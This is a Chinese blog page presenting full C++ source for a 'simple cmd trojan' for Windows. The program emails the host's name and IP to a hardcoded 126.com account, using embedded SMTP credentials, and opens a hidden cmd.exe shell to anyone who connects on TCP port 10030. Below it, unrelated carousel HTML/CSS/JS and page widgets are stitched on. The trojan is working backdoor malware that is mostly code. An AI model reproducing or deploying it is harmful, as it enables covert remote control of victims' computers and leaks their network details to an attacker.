一个 简单的cmd 木马(源代码)

一个 简单的cmd 木马(源代码)

// woodtc.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"
#include "WoodSMTP.h"

#define BUFFER_SIZE 1024

typedef struct
{
HANDLE hPipe;
SOCKET sClient;
}SESSIONDATA,*PSESSIONDATA;

typedef struct PROCESSDATA
{
HANDLE hProcess;
DWORD dwProcessId;
struct PROCESSDATA *next;
}PROCESSDATA,*PPROCESSDATA;

HANDLE hMutex;
PPROCESSDATA lpProcessDataHead;
PPROCESSDATA lpProcessDataEnd;

DWORD CmdService();
DWORD WINAPI CmdShell(LPVOID);
DWORD WINAPI ReadShell(LPVOID);
DWORD WINAPI WriteShell(LPVOID);

DWORD WINAPI SendMessage(LPVOID);

int main(int argc,char *argv[])
{
WSADATA wsa;
WSAStartup(MAKEWORD(2,2),&wsa);

HANDLE hThread=CreateThread(NULL,0,SendMessage,NULL,0,NULL);
if(hThread==NULL)
{
}
CmdService();
return 0;
}

DWORD WINAPI SendMessage(LPVOID)
{
CWoodSMTP mail;
while(true)
{
if(mail.ConnectHost("smtp.126.com","forwoodts","forwoodts10030"))
{
char inf[500]="MYINF@";

char name[255];
PHOSTENT hostinfo;
if(gethostname(name,sizeof(name))==0)
{
strcat(inf,"MYNAME@");
strcat(inf,name);


if((hostinfo = gethostbyname(name)) != NULL)
{
char *ip = inet_ntoa(*(struct in_addr *)*hostinfo->h_addr_list);
strcat(inf,"MYIP@");
strcat(inf,ip);
}
}

if(mail.SendTXT("forwoodts@126.com","forwoodts_manager@126.com",inf))
{
OutputDebugString("mail send....\n");
}
}

Sleep(1000*60*60*24);
continue;
}
return 0;
}

DWORD CmdService()
{
SOCKET sServer;
SOCKET sClient;
HANDLE hThread;
struct sockaddr_in sin;


sServer = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if(sServer==INVALID_SOCKET)
{
OutputDebugString("Socket Error !\n");
return -1;
}
sin.sin_family = AF_INET;
sin.sin_port = htons(10030);
sin.sin_addr.S_un.S_addr = INADDR_ANY;

if(bind(sServer,(const struct sockaddr *)&sin,sizeof(sin))==SOCKET_ERROR)
{
OutputDebugString("Bind Error !\n");
return -1;
}
if(listen(sServer,5)==SOCKET_ERROR)
{
OutputDebugString("Listen Error !\n");
return -1;
}

hMutex=CreateMutex(NULL,FALSE,NULL);
if(hMutex==NULL)
{
OutputDebugString("Create Mutex Error !\n");
}
lpProcessDataHead=NULL;
lpProcessDataEnd=NULL;

while(1)
{
sClient=accept(sServer,NULL,NULL);
hThread=CreateThread(NULL,0,CmdShell,(LPVOID)&sClient,0,NULL);
if(hThread==NULL)
{
OutputDebugString("CreateThread of CmdShell Error !\n");
break;
}
Sleep(1000);
}

WSACleanup();
return 0;
}

DWORD WINAPI CmdShell(LPVOID lpParam)
{
SOCKET sClient=*(SOCKET *)lpParam;
HANDLE hWritePipe,hReadPipe,hWriteShell,hReadShell;
HANDLE hThread[3];
DWORD dwReavThreadId,dwSendThreadId;
DWORD dwProcessId;
DWORD dwResult;
STARTUPINFO lpStartupInfo;
SESSIONDATA sdWrite,sdRead;
PROCESS_INFORMATION lpProcessInfo;
SECURITY_ATTRIBUTES saPipe;
PPROCESSDATA lpProcessDataLast;
PPROCESSDATA lpProcessDataNow;
char lpImagePath[MAX_PATH];

saPipe.nLength = sizeof(saPipe);
saPipe.bInheritHandle = TRUE;
saPipe.lpSecurityDescriptor = NULL;
if(CreatePipe(&hReadPipe,&hReadShell,&saPipe,0)==0)
{
OutputDebugString("CreatePipe for ReadPipe Error !\n");
return -1;
}

if(CreatePipe(&hWriteShell,&hWritePipe,&saPipe,0)==0)
{
OutputDebugString("CreatePipe for WritePipe Error !\n");
return -1;
}

GetStartupInfo(&lpStartupInfo);
lpStartupInfo.cb = sizeof(lpStartupInfo);
lpStartupInfo.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
lpStartupInfo.hStdInput = hWriteShell;
lpStartupInfo.hStdOutput = hReadShell;
lpStartupInfo.hStdError = hReadShell;
lpStartupInfo.wShowWindow = SW_HIDE;

GetSystemDirectory(lpImagePath,MAX_PATH);
strcat(lpImagePath,("\cmd.exe"));

WaitForSingleObject(hMutex,INFINITE);
if(CreateProcess(lpImagePath,NULL,NULL,NULL,TRUE,0,NULL,NULL,&lpStartupInfo,&lpProcessInfo)==0)
{
OutputDebugString("CreateProcess Error !\n");
return -1;
}
lpProcessDataNow=(PPROCESSDATA)malloc(sizeof(PROCESSDATA));
lpProcessDataNow->hProcess=lpProcessInfo.hProcess;
lpProcessDataNow->dwProcessId=lpProcessInfo.dwProcessId;
lpProcessDataNow->next=NULL;
if((lpProcessDataHead==NULL) || (lpProcessDataEnd==NULL))
{
lpProcessDataHead=lpProcessDataNow;
lpProcessDataEnd=lpProcessDataNow;
}
else
{
lpProcessDataEnd->next=lpProcessDataNow;
lpProcessDataEnd=lpProcessDataNow;
}

hThread[0]=lpProcessInfo.hProcess;
dwProcessId=lpProcessInfo.dwProcessId;
CloseHandle(lpProcessInfo.hThread);
ReleaseMutex(hMutex);

CloseHandle(hWriteShell);
CloseHandle(hReadShell);

sdRead.hPipe = hReadPipe;
sdRead.sClient = sClient;
hThread[1] = CreateThread(NULL,0,ReadShell,(LPVOID*)&sdRead,0,&dwSendThreadId);
if(hThread[1]==NULL)
{
OutputDebugString("CreateT hread of ReadShell(Send) Error !\n");
return -1;
}

sdWrite.hPipe = hWritePipe;
sdWrite.sClient = sClient;
hThread[2] = CreateThread(NULL,0,WriteShell,(LPVOID *)&sdWrite,0,&dwReavThreadId);
if(hThread[2]==NULL)
{
OutputDebugString("CreateThread for WriteShell(Recv) Error !\n");
return -1;
}

dwResult=WaitForMultipleObjects(3,hThread,FALSE,INFINITE);
if((dwResult>=WAIT_OBJECT_0) && (dwResult<=(WAIT_OBJECT_0 + 2)))
{
dwResult-=WAIT_OBJECT_0;
if(dwResult!=0)
{
TerminateProcess(hThread[0],1);
}
CloseHandle(hThread[(dwResult+1)%3]);
CloseHandle(hThread[(dwResult+2)%3]);
}

CloseHandle(hWritePipe);
CloseHandle(hReadPipe);

WaitForSingleObject(hMutex,INFINITE);
lpProcessDataLast=NULL;
lpProcessDataNow=lpProcessDataHead;
while((lpProcessDataNow->next!=NULL) && (lpProcessDataNow->dwProcessId!=dwProcessId))
{
lpProcessDataLast=lpProcessDataNow;
lpProcessDataNow=lpProcessDataNow->next;
}
if(lpProcessDataNow==lpProcessDataEnd)
{
if(lpProcessDataNow->dwProcessId!=dwProcessId)
{
OutputDebugString("No Found the Process Handle !\n");
}
else
{
if(lpProcessDataNow==lpProcessDataHead)
{
lpProcessDataHead=NULL;
lpProcessDataEnd=NULL;
}
else
{
lpProcessDataEnd=lpProcessDataLast;
}
}
}
else
{
if(lpProcessDataNow==lpProcessDataHead)
{
lpProcessDataHead=lpProcessDataNow->next;
}
else
{
lpProcessDataLast->next=lpProcessDataNow->next;
}
}
ReleaseMutex(hMutex);

return 0;
}

DWORD WINAPI ReadShell(LPVOID lpParam)
{
SESSIONDATA sdRead=*(PSESSIONDATA)lpParam;
DWORD dwBufferRead,dwBufferNow,dwBuffer2Send;
char szBuffer[BUFFER_SIZE];
char szBuffer2Send[BUFFER_SIZE+32];
char PrevChar;
char szHelpMessage[256]="\r\nEscape Character is 'CTRL+]'\r\n\n";

send(sdRead.sClient,szHelpMessage,256,0);

while(PeekNamedPipe(sdRead.hPipe,szBuffer,BUFFER_SIZE,&dwBufferRead,NULL,NULL))
{
if(dwBufferRead>0)
{
ReadFile(sdRead.hPipe,szBuffer,BUFFER_SIZE,&dwBufferRead,NULL);
}
else
{
Sleep(10);
continue;
}

for(dwBufferNow=0,dwBuffer2Send=0;dwBufferNow<dwBufferRead;dwBufferNow++,dwBuffer2Send++)
{
if((szBuffer[dwBufferNow]=='\n') && (PrevChar!='\r'))
{
szBuffer[dwBuffer2Send++]='\r';
}
PrevChar=szBuffer[dwBufferNow];
szBuffer2Send[dwBuffer2Send]=szBuffer[dwBufferNow];
}

if(send(sdRead.sClient,szBuffer2Send,dwBuffer2Send,0)==SOCKET_ERROR)
{
OutputDebugString("Send in ReadShell Error !\n");
break;
}
Sleep(5);
}

shutdown(sdRead.sClient,0x02);
closesocket(sdRead.sClient);
return 0;
}

DWORD WINAPI WriteShell(LPVOID lpParam)
{
SESSIONDATA sdWrite=*(PSESSIONDATA)lpParam;
DWORD dwBuffer2Write,dwBufferWritten;
char szBuffer[1];
char szBuffer2Write[BUFFER_SIZE];

dwBuffer2Write=0;
while(recv(sdWrite.sClient,szBuffer,1,0)!=0)
{
szBuffer2Write[dwBuffer2Write++]=szBuffer[0];

if(strnicmp(szBuffer2Write,"exit\r\n",6)==0)
{
shutdown(sdWrite.sClient,0x02);
closesocket(sdWrite.sClient);
return 0;
}

if(szBuffer[0]=='\n')
{
if(WriteFile(sdWrite.hPipe,szBuffer2Write,dwBuffer2Write,&dwBufferWritten,NULL)==0)
{
OutputDebugString("WriteFile in WriteShell(Recv) Error !\n");
break;
}
dwBuffer2Write=0;
}
Sleep(10);
}

shutdown(sdWrite.sClient,0x02);
closesocket(sdWrite.sClient);
return 0;
}

  • 13
    点赞
  • 51
    收藏
    觉得还不错? 一键收藏
  • 12
    评论
以下是一个简单的旋转木马的 HTML 和 CSS 代码示例: HTML: ```html <div class="carousel"> <div class="item"><img src="img1.jpg"></div> <div class="item"><img src="img2.jpg"></div> <div class="item"><img src="img3.jpg"></div> </div> ``` CSS: ```css .carousel { position: relative; width: 80%; margin: auto; height: 400px; overflow: hidden; } .item { position: absolute; top: 0; left: 0; width: 100%; height: 100%; opacity: 0; transition: all 1s ease; } .item.active { opacity: 1; } .item.next { transform: translateX(100%); } .item.prev { transform: translateX(-100%); } .carousel .item img { width: 100%; height: 100%; object-fit: cover; } .carousel .controls { position: absolute; bottom: 20px; left: 50%; transform: translateX(-50%); display: flex; justify-content: center; align-items: center; } .carousel .controls button { border: none; background: transparent; font-size: 24px; color: #fff; margin: 0 10px; cursor: pointer; outline: none; } ``` JavaScript: ```javascript var items = document.querySelectorAll('.item'); var controls = document.querySelectorAll('.controls button'); var current = 0; function initCarousel() { items[0].classList.add('active'); controls.forEach(function(control) { control.addEventListener('click', handleControlClick); }); } function handleControlClick() { if (this.classList.contains('prev')) { current--; if (current < 0) { current = items.length - 1; } } else { current++; if (current > items.length - 1) { current = 0; } } updateCarousel(); } function updateCarousel() { var prev = current - 1; if (prev < 0) { prev = items.length - 1; } var next = current + 1; if (next > items.length - 1) { next = 0; } items.forEach(function(item) { item.classList.remove('prev', 'active', 'next'); }); items[prev].classList.add('prev'); items[current].classList.add('active'); items[next].classList.add('next'); } initCarousel(); ``` 这是一个基本的旋转木马,它使用 CSS 过渡效果和 JavaScript 来实现轮播。在 HTML 中,我们创建了一个包含图像的 div 元素,并将其包装在一个具有 carousel 类的 div 元素中。然后,我们使用 CSS 将其设置为相对定位,并将其宽度设置为 80%,高度设置为 400px。此后,我们使用 overflow: hidden 隐藏溢出的元素。 接下来,我们为每个图像创建了一个 div 元素,并将其设置为绝对定位。然后,我们使用 opacity: 0 将其隐藏,并使用过渡效果将其设置为所有属性的动画效果。我们还为当前活动的图像添加了 active 类。 在 JavaScript 中,我们选择所有图像元素和控制按钮,并为每个按钮添加了一个点击事件处理程序。我们还创建了一个变量 current,用于跟踪当前活动的图像。 在 initCarousel 函数中,我们将第一个图像设置为活动状态,并将点击事件处理程序添加到所有控件按钮上。 在 handleControlClick 函数中,我们确定用户点击了哪个按钮,并相应地更新 current 变量。然后,我们调用 updateCarousel 函数,它将根据 current 变量更新图像。 在 updateCarousel 函数中,我们确定前一个和下一个图像,并将相应的类添加到每个图像元素中。我们还删除了 prev、active 和 next 类,以确保每个图像只有一个类。 最后,我们调用 initCarousel 函数以启动旋转木马

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 12
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值